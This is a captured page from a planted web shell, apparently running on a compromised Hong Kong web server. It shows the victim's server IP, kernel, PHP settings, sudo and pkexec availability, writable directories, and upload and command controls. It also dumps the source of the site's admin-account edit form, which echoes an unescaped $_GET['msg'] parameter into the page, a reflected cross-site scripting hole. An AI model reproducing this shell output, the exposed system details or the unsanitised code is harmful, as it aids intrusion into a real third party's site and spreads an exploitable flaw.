403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/webadmin/sys_cms_user_modifyform.php
<?php

	require_once "check_login.php";

	$action = 'Modify'; // Add or Modify

	$row = SysCmsLogin::where('cmsloginid', '=', (int)$_GET["cmsloginid"])->first();


	$page_settings = array(
		'formid'     => 'Sys_cms_user', // for permission
		'section'    => 'System Setting', // parent/page title
		'subsection' => 'Admin Management', // page title
		'domain'     => 'sys_cms_user', // table/model name
		'access'     => 'GNr', // for permission
	);

	$login_user_info = SysCmsLogin::where('cmsloginid', '=', (int)$_SESSION["cmsloginid"])->first();

	$row99 = SysCmsLogin::where('cmsloginid', '=', $row["lastupby"])->first();

	$sql         = "select profile_id 
			from `profile_user` as tb where user_id = ? and deleted = ? LIMIT 1";
	$parameters  = array($_SESSION['cmsloginid'], 0);
	$row_profile = bind_pdo($sql, $parameters, "selectone");
?>
<!DOCTYPE html>
<html>
<head>
	<?php require_once "_html_head.php"; ?>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">

	<?php require_once "_header.php"; ?>

	<?php require_once "_menu.php"; ?>

	<!-- Content Wrapper. Contains page content -->
	<div class="content-wrapper">
		<!-- Content Header (Page header) -->
		<section class="content-header">

			<h1>
				<?= _lang($page_settings['subsection']) ?>
				<small><?= _lang("Update") ?></small>
			</h1>

			<ol class="breadcrumb">
				<li><a href="#"><i class="fa fa-dashboard"></i> <?= _lang($page_settings['section']) ?></a></li>
				<li class="active">
					<a href="<?= $page_settings['domain'] ?>_index.php"><?= _lang($page_settings['subsection']) ?></a>
				</li>
			</ol>

		</section>

		<!-- Main content -->
		<section class="content">

			<!-- Your Page Content Here -->

			<!-- main form -->
			<form action="<?= $page_settings['domain'] ?>_modify.php" class="myform" id="myform" method="POST" enctype="multipart/form-data">
				<input type="hidden" name="cmsloginid" value="<?= _h($row['cmsloginid']) ?>"/>
				<div class="row">
					<div class="col-xs-12">
						<div class="box">

							<div class="box-header">
								<div class="col-md-3">
									<div class="btn-group">
										<? if ($login_user_info['cmsrole'] != 'user') { ?>
											<a href="<?= $page_settings['domain'] ?>_index.php?type=<? if ($row['cmsrole'] == 'user') { ?>user<? } else { ?>admin<? } ?>" class="btn btn-default"><i class="fa fa-chevron-left" aria-hidden="true"></i> <?= _lang('Cancel') ?>
											</a>
										<? } ?>
										<button type="submit" class="btn btn-primary">
											<i class="fa fa-floppy-o" aria-hidden="true"></i> <?= _lang('Save') ?>
										</button>
									</div>
								</div>
								<div class="col-md-6">
									<!--<h3 class="box-title"><? /*= _h($row["name_{$_SESSION["wlangcode"]}"]) */ ?>
										(<? /*= _h($row["code"]) */ ?>)</h3>-->
								</div>
								<div class="col-md-3">
									<em><?= _lang('Updated') ?>:
										<time><?= _h($row["lastupdate"]) ?></time>
										<!--(<?= _h(aes_crypt($row99["cmsloginname"], 2)) ?>)--></em>
								</div>

								<div class="col-md-12 msg">
									<?php if (isset($_GET["msg"])) echo $_GET['msg']; ?>
								</div>
							</div>

							<!-- /.box-header -->
							<div class="box-body">

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-3 control-label required_field">
										<? if ($row["cmsrole"] == 'user') { ?>
											<?= _lang("Email") ?>
										<? } else { ?>
											<?= _lang("User Name") ?>
										<? } ?>
									</label>

									<div class="col-sm-3 form-group">
										<? if ($row["cmsrole"] == 'user') { ?>
											<?= aes_crypt($row['cmsloginname'], 2) ?>
										<? } else { ?>
											<input type="text" name="username" value="<?= $row["cmsusername"] ?>" id="username" class="form-control input-sm" autofocus>
										<? } ?>
									</div>
								</div>

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-3 control-label required_field"><?= _lang("Role Level") ?></label>

									<div class="col-sm-3 form-group">
										<? if ($row["cmsrole"] == 'user') { ?>
											<?= _lang('User'); ?>
										<? } else { ?>
											<select class="form-control input-sm" name="role_level" data-value="">
												<?php
													if ($row["cmsrole"] != 'user') {
														if ($login_user_info["cmsrole"] == "super_admin") {
															echo '<option value="super_admin" ' . ($row["cmsrole"] == 'super_admin' ? 'selected' : '') . '>' . lang("Super-Admin") . '</option>';
															echo '<option value="admin" ' . ($row["cmsrole"] == 'admin' ? 'selected' : '') . '>' . lang("User-Admin") . '</option>';
														} else if ($login_user_info["cmsrole"] == "admin") {
															echo '<option value="admin" ' . ($row["cmsrole"] == 'admin' ? 'selected' : '') . '>' . lang("User-Admin") . '</option>';
														} else {
															echo 'User';
														}
													}
												?>
											</select>

										<? } ?>
									</div>
								</div>

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-3 control-label"><?= _lang("Password") ?></label>
									<div class="col-sm-3 form-group">
										<input type="password" name="loginpw" id="loginpw" class="form-control input-sm" autofocus>
										<p class="help-block">
											<?= _lang("Length:8-15") ?>
										</p>
									</div>
								</div>

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-3 control-label"><?= _lang("Confirm New Password") ?></label>
									<div class="col-sm-3 form-group">
										<input type="password" name="reloginpw" class="form-control input-sm" autofocus>

									</div>
								</div>

							</div>
							<!-- /.box-body -->
						</div>
						<!-- /.box -->
					</div>
					<!-- /.col -->
				</div>
				<!-- /.row -->
			</form>

			<!-- End of Your Page Content Here -->

		</section><!-- /.content -->
	</div><!-- /.content-wrapper -->

	<?php require_once "_footer.php"; ?>

	<?php require_once "_aside.php"; ?>

</div><!-- ./wrapper -->

<!-- REQUIRED JS SCRIPTS -->
<?php require_once "_html_script.php"; ?>

<script type="text/javascript">
	$(function () {
		if ($("#is_supplier").prop("checked")) {
			$(".supplier_list").show();
		} else {
			$(".supplier_list").hide();
		}

		$(".role_type").on("click", function () {
			if ($("#is_supplier").prop("checked")) {
				$(".supplier_list").show();
			} else {
				$(".supplier_list").hide();
			}
		});
	});
</script>

<script src="js/jquery.validate.min.js"></script>
<script type="text/javascript">

	$(document).ready(function (e) {
		$("#myform").validate({
			rules: {
				'reloginpw': {
					equalTo: "#loginpw"
				}
			},
			messages: {
				reloginpw: {
					equalTo: "<?=_lang("Password is not matched.")?>"
				}
			}
		});
	});
	/**/
</script>
<?= Password::ajax_validate('loginpw', 'ajax_passwordChecker.php', 'loginname', false) ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit